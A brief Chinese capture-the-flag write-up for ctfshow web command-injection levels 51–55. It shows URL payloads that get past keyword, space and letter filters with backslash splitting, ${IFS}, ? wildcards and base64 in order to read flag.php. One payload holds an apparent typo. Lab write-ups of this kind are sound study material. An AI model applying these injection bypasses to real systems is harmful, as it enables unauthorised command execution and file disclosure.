0%

ctfshow-web入门-命令篇(四)[51-]

web51

进入后发现比上一题多过滤了tac

因此把tac换为ta\c绕过

构造:

?c=ta\c<>fla\给.php||

web52

发现把<>给过滤了

用${IFS}来代替<>

构造:

?c=ta\c${IFS}fla\g.php||

但发现没有得到flag

查看根目录 构造:?c=ls${IFS}/||

发现存在flag

访问flag后得到flag

web53

发现取消了”黑洞设备”

直接构造:?c=ta\c${IFS}fla\g.php

web54

发现把\过滤了所以ta\c和fla\g不能用了

ta\c可以用vi命令代替

fla\g可以用fla?.php代替

然后打开页面源代码发现flag

web55

发现过滤了a-z

可以用?直接用base64访问

构造:?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

进行解码